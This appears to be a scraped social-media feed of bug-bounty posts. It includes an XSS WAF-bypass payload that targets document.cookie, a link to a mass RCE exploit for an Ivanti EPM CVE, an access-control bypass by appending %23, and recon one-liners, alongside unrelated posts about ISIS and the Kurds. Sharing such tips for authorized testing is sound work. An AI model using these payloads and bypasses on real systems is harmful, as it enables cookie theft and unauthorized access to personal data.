Dr Kevin

[Dr Kevin @drk3vin]

@frappehv @Scot0xo i did not get any information, what's the reason? fixed or I need to change my region.

[Dr Kevin @drk3vin]

@user9JKsuG @instagram i did not get any information, what's the reason? fixed or I need to change my region.

[Dr Kevin @drk3vin]

@zent7x i did not get any information, what's the reason? fixed or I need to change my region.

[Tommy Robinson 🇬🇧 @TRobinsonNewEra]

ISIS is in full operation of ethnic cleansing in Northern Syria.

Those not slaughtered are hiding and starving.

Don't look away.

[Dr Halwest @Halwest_Jamal]

This is a call to the world: protect the Kurds, secure a decentralized future for them in Syria, and stop legitimizing violence as “stability.”

Stand with the Kurds now, before ISIS and chaos rise again from the ruins.

[Coffin @lostsec_]

This is probably the easiest way to identify and exploit CVE-2025-55182. No burp no extra tool. just One click by simply visiting the target..

[Dr Kevin @drk3vin]

@cyb3rshi3ld CCEP

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

🔰 Find related domains via favicon hash 🔰
By @m4ll0k2

🧾 Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what https://t.co/FBKULdKDxi tool made by @m4ll0k2 does. Here’s how to use it:

cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 https://t.co/FBKULdKDxi -f https://target/favicon.ico -t targets.txt -s

Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target. Grab the tool from here:

https://t.co/P7hTK8IvjI

#bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp

[张惠倩 @momika233]

Mass Exploit - CVE-2024-29824 - Ivanti EPM - Remote Code Execution (RCE)
https://t.co/JtkT6DEmyI

[Coffin @lostsec_]

Amazon WAF Bypass :)

<details x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:2 open ontoggle="prompt(document.cookie);">

[termireum @termireum]

1. Find CIDR
2. Load Burp with CIDR in scope
3. Masscan CIDR
4. Resolve IP's
5. Open them all in Firefox with Openlist
6. Spider grep and win $$$
#bugbountytips

[Philip @phsiiii]

i was recently able to bypass access controls by appending a url-encoded hash sign, resulting in an idor w/ pii disclosure

/api/v2/user/123 —> 403
/api/v2/user/123%23 —> 200

it may be worth appending %00-%ff to see if the logic or regex in use can be terminated

#bugbountytips

[Yasser | Skidrow 🇸🇦 @firfox20]

Tip : Always check .js files for Extra 'Subdomains'

grep -oE "[a-zA-Z0-9._-]+\.domain.com" file.js | sort -u | uniq | httpx -silent
#bugbountytips

[Md Ismail Šojal 🕷️ @0x0SojalSec]

XSS_Bypass_Filters 📓

- https://t.co/S2kbmPHbRV

#infosec #cybersec #bugbountytips

[XSS Payloads @XssPayloads]

XSS WAF Bypass One payload for all, interesting evasion technique by @0xEdra
https://t.co/wWdLWTe9Md

[Cybernetic Research @cybernetic_res]

Account Takeover Methodology

https://t.co/vXZN7Igbo3

By:@Virdoex_hunter & @v3daxt

#bugbountytips #BugBounty

[Hackmanac @H4ckmanac]

⚠️Important notice: 📢

We've noticed that an account has recently been created on a hacking forum using our name.

Obviously, any activities conducted by this account are not attributable to us at Hackmanac.

Hackmanac Team

[Bug X Hunter 💻 @Bug_X_hunter]

💻 0-Click Account Takeover on Facebook 💻

👉 Writeup 🖇️ :

https://t.co/Zdt6W5Uzvy

[Shakti @shakti_sec]

I have VPS, laptop, and good methodology to find bugs.
But i don't have wild card scope. whenever i try to hunt i had just 20 or 40 subdomains even its has CDN I had try to find origin IPs but i couldn't. Where can i hunt please suggest me? 🙏🏻🙏🏻

[Lu3ky13 ⚡️⚡️ @lu3ky13]

Old Report 2000$ PHPINFO 🫡 🧐
yes phpinfo 2k

#bugbountytips #bugbountytip #bugbounty